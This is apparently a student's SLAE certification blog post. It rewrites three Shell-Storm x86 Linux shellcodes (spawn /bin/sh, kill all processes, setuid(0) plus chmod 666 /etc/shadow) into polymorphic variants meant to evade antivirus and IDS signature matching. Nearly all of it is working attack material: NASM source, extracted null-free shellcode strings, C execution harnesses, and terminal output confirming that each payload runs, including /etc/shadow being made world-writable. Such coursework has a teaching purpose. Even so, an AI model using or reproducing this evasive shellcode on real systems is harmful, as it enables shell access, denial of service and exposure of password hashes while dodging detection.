SLAE x86 Assignment 6: Polymorphic Shellcode

Polymorphic Shellcode


  • Analyze 3 shellcodes from Shell-Storm, and create polymorphic versions to evade pattern matching
  • The polymorphic versions should not be larger than 150% of the original shellcode

Concept


Polymorphism is a method used to alter existing shellcode, with the intention of evading pattern matching whilst still preserving the intended functionality as common AV and IDS systems rely on the fingerprint of patterns, and signatures found within malicious code.

Evasion techniques used in polymorphic shellcodes include semantics of command instructions, use of different arithmetic functions and methods, changing the order of instructions as well as adding/removing instructions.

Polymorphic encoders such as Shikata-Ga-Nai can be used in this scenario to evade security controls, using these evasion techniques results in the code appearing completely different and benign, often bypassing signature based detection mechanisms.

Polymorphic

The 3 Shell-Storm references that will be modified:

  • Execve /bin/sh
  • Killall
  • Chmod 666 /etc/shadow

1st Shellcode (Execve /bin/sh)


The Execve shellcode will spawn a /bin/sh shell on the local host.

Referenced from Shell-Storm http://shell-storm.org/shellcode/files/shellcode-811.php:

/*
Title:	Linux x86 execve("/bin/sh") - 28 bytes
Author:	Jean Pascal Pereira <pereira@secbiz.de>
Web:	http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

As a POC, the C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 28 bytes:

osboxes@osboxes:~/Downloads/SLAE$ gcc execve.c -o execve -z execstack
execve.c: In function 'main':
execve.c:36:33: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
osboxes@osboxes:~/Downloads/SLAE/$ ls
execve  execve.c
osboxes@osboxes:~/Downloads/SLAE$ ./execve 
Lenght: 28
$ 

The polymorphic (modified) version of the original shellcode is scripted in Assembly:

; Filename: execve_poly.nasm
; Author: h3ll0clar1c3
; Purpose: Spawn a shell on the local host
; Compilation: ./compile.sh execve_poly
; Usage: ./execve_poly
; Shellcode size: 37 bytes
; Architecture: x86

global   _start

section .text
        _start:

        xor edx, edx                    ; initialize register // changed the register value
        push edx                        ; push edx onto the stack // changed the register value
        mov eax, 0x463ED8B7             ; move 0x463ED8B7 into eax // split to add up to original value /bin/sh
        add eax, 0x22345678             ; move 0x22345678 into eax // split to add up to original value /bin/sh
        push eax                        ; push eax onto the stack // added instruction
        mov eax, 0xDEADC0DE             ; move 0xDEADC0DE into eax // split to add up to original value /bin/sh
        sub eax, 0x70445EAF             ; move 0x70445EAF into eax // split to add up to original value /bin/sh
        push eax                        ; push eax onto the stack // added instruction
        push byte 0xb                   ; push 0xb onto the stack // changed the method
        pop eax                         ; pop eax off the stack // added instruction
        mov ecx, edx                    ; move edx into ecx // changed the register value
        mov ebx, esp                    ; move esp into ebx // changed the order
        push byte 0x1                   ; push 0x1 onto the stack // added instruction
        pop esi                         ; pop esi off the stack // added instruction
        int 0x80                        ; call the interrupt to execute the execve syscall, /bin/sh shell

The Assembly code is compiled by assembling with Nasm, and linking with the following bash script whilst outputting an executable binary:

osboxes@osboxes:~/Downloads/SLAE$ cat compile.sh
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'

The Assembly code compiled as an executable binary:

osboxes@osboxes:~/Downloads/SLAE$ ./compile.sh execve_poly
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

The compiled binary is executed:

osboxes@osboxes:~/Downloads/SLAE$ ./execve_poly 
$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ 

Objdump is used to extract the shellcode from the Execve shell in hex format (Null free):

osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./execve_poly|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xd2\x52\xb8\xb7\xd8\x3e\x46\x05\x78\x56\x34\x22\x50\xb8\xde\xc0\xad\xde\x2d\xaf\x5e\x44\x70\x50\x6a\x0b\x58\x89\xd1\x89\xe3\x6a\x01\x5e\xcd\x80"

A C program scripted with the newly generated shellcode:

/**
* Filename: execve_poly_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Spawn a shell on the local host   
* Compilation: gcc -fno-stack-protector -z execstack -m32 execve_poly_shellcode.c -o execve_poly_final  
* Usage: ./execve_poly_final
* Shellcode size: 37 bytes
* Architecture: x86
**/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xd2\x52\xb8\xb7\xd8\x3e\x46\x05\x78\x56\x34\x22\x50\xb8\xde\xc0\xad"
"\xde\x2d\xaf\x5e\x44\x70\x50\x6a\x0b\x58\x89\xd1\x89\xe3\x6a\x01\x5e\xcd\x80";

int main()
{
        printf("Shellcode length: %d bytes\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

The C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 37 bytes:

osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -z execstack -m32 execve_poly_shellcode.c -o execve_poly_final
osboxes@osboxes:~/Downloads/SLAE$ ./execve_poly_final 
Shellcode length: 37 bytes
$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ 

The polymorphic version of the shellcode is 32% larger in size compared to the original reference from Shell-Storm.

2nd Shellcode (Killall)


The killall command on a Linux based system will literally terminate all running processes that are currently active on the target host’s machine.

Referenced from Shell-Storm http://shell-storm.org/shellcode/files/shellcode-212.php:

/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all processes for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *      push byte 37
 *      pop eax
 *      push byte -1
 *      pop ebx
 *      push byte 9
 *      pop ecx
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

       (*(void (*)()) shellcode)();
}

The polymorphic (modified) version of the original shellcode is scripted in Assembly:

; Filename: killall_poly.nasm
; Author: h3ll0clar1c3
; Purpose: Terminates processes running on the local host
; Compilation: ./compile.sh killall_poly
; Usage: ./killall_poly
; Shellcode size: 15 bytes
; Architecture: x86

global   _start

section .text
        _start:

	sub eax, eax			; initialize register // added instruction
	mov al, 0x25			; move 0x25 into al // changed the method
	sub ebx, ebx			; initialize register // added instruction
	dec ebx				; decrement ebx // replaced push 0xffffffff
	sub ecx, ecx			; initialize register // added instruction
	mov cl, 0xf7			; move 0xf7 intocl // added instruction
	neg cl				; negates 0xf7 // added instruction
	int 0x80			; call the interrupt to execute the syscall

The Assembly code is compiled by assembling with Nasm, and compiled as an executable binary.

Objdump is used to extract the shellcode from the killall command in hex format (Null free):

osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./killall_poly | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x29\xc0\xb0\x25\x29\xdb\x4b\x29\xc9\xb1\xf7\xf6\xd9\xcd\x80"

A C program scripted with the newly generated shellcode:

/**
* Filename: killall_poly_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Terminates processes running on the local host   
* Compilation: gcc -fno-stack-protector -z execstack -m32 killall_poly_shellcode.c -o killall_poly_final
* Usage: ./killall_poly_final
* Shellcode size: 15 bytes
* Architecture: x86
**/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x29\xc0\xb0\x25\x29\xdb\x4b\x29\xc9\xb1\xf7\xf6\xd9\xcd\x80";

int main()
{
        printf("Shellcode length: %d bytes\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

The C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 15 bytes:

osboxes@osboxes:~/Downloads/SLAE$ ./killall_poly_final Connection to 192.168.0.142 closed by remote host.
Connection to 192.168.0.142 closed.

The polymorphic version of the shellcode is 36% larger in size compared to the original reference from Shell-Storm.

3rd Shellcode (Chmod 666 /etc/shadow)


The chmod 666 /etc/shadow command sets the permission on the shadow file allowing all users read/write access to the file (without execution rights).

The shadow file is a high-value file which stores all the user passwords as a long string of characters combined with the hashing algorithm, as well as an optional salt value, revealing the hashed password of all users on the local system.

Referenced from Shell-Storm http://shell-storm.org/shellcode/files/shellcode-608.php:

/* 
 * Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
 * Type: Shellcode
 * Author: antrhacks
 * Platform: Linux X86
*/

/* ASSembly
 31 db                	xor    %ebx,%ebx
 b0 17                	mov    $0x17,%al
 cd 80                	int    $0x80
 31 c0                	xor    %eax,%eax
 50                   	push   %eax
 68 61 64 6f 77       	push   $0x776f6461
 68 63 2f 73 68       	push   $0x68732f63
 68 2f 2f 65 74       	push   $0x74652f2f
 89 e3                	mov    %esp,%ebx
 66 b9 b6 01          	mov    $0x1b6,%cx
 b0 0f                	mov    $0xf,%al
 cd 80                	int    $0x80
 40                   	inc    %eax
 cd 80                	int    $0x80
*/

int main(){
 char shell[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50"
"\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68"
"\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01"
"\xb0\x0f\xcd\x80\x40\xcd\x80";

 printf("[*] Taille du ShellCode = %d\n", strlen(shell));
 (*(void (*)()) shell)();
 
 return 0;
}

The polymorphic (modified) version of the original shellcode is scripted in Assembly:

; Filname: chmod_etc_shadow_poly.nasm
; Author: h3ll0clar1c3
; Purpose: Chmod 666 /etc/shadow on the local host
; Compilation: ./compile.sh chmod_etc_shadow_poly
; Usage: sudo ./chmod_etc_shadow_poly
; Shellcode size: 40 bytes
; Architecture: x86

global   _start

section .text
        _start:

	sub ebx, ebx			; initialize register // changed the method
	push 0x17			; push 0x17 onto the stack // changed the method
	pop eax				; pop eax onto the stack // changed the method
	int 0x80			; call the interrupt to execute the setuid syscall
	sub eax, eax			; initialize register // changed the method
	push eax			; push eax onto the stack
	push 0x776f6461			; 'woda'	
        push 0x68732f63			; 'hs/c'
        push 0x74652f2f			; 'te//'
	mov ebx, esp			; move esp into ebx
	mov cl, 0xb6			; move 0xb6 into cl // replaced mov cx, 0x1b6
	mov ch, 0x1			; move 0x1 into ch // replaced mov al, 0xf
        add al, 15			; add 15 to al // added instruction
        int 0x80			; call the interrupt to execute the chmod syscall
        add eax, 1			; add 1 to eax // changed the method
        int 0x80			; call the interrupt to exit

The Assembly code is compiled by assembling with Nasm, and compiled as an executable binary.

Objdump is used to extract the shellcode from the chmod 666 /etc/shadow command in hex format (Null free):

osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./chmod_etc_shadow_poly | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x29\xdb\x6a\x17\x58\xcd\x80\x29\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\xb1\xb6\xb5\x01\x04\x0f\xcd\x80\x83\xc0\x01\xcd\x80"

A C program scripted with the newly generated shellcode:

/**
* Filename: chmod_etc_shadow_poly_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Chmod 666 /etc/shadow on the local host
* Compilation: gcc -fno-stack-protector -z execstack -m32 chmod_etc_shadow_poly_shellcode.c -o chmod_etc_shadow_poly_final
* Usage: sudo ./chmod_etc_shadow_poly_final
* Shellcode size: 40 bytes
* Architecture: x86
**/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x29\xdb\x6a\x17\x58\xcd\x80\x29\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68"
"\x68\x2f\x2f\x65\x74\x89\xe3\xb1\xb6\xb5\x01\x04\x0f\xcd\x80\x83\xc0\x01\xcd\x80";

int main()
{
        printf("Shellcode length: %d bytes\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

The C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 40 bytes:

osboxes@osboxes:~/Downloads/SLAE$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1219 May 31 00:14 /etc/shadow
osboxes@osboxes:~/Downloads/SLAE$ stat --format '%a' /etc/shadow
640
osboxes@osboxes:~/Downloads/SLAE$ sudo ./chmod_etc_shadow_poly_final 
[sudo] password for osboxes: 
Shellcode length: 40 bytes
osboxes@osboxes:~/Downloads/SLAE$ ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1219 May 31 00:14 /etc/shadow
osboxes@osboxes:~/Downloads/SLAE$ stat --format '%a' /etc/shadow
666
osboxes@osboxes:~/Downloads/SLAE$ 

The polymorphic version of the shellcode is 8% larger in size compared to the original reference from Shell-Storm.

SLAE Disclaimer

This blog post has been created for completing the requirements of the SLAE certification.

Student ID: PA-14936

GitHub Repo: Code

Updated: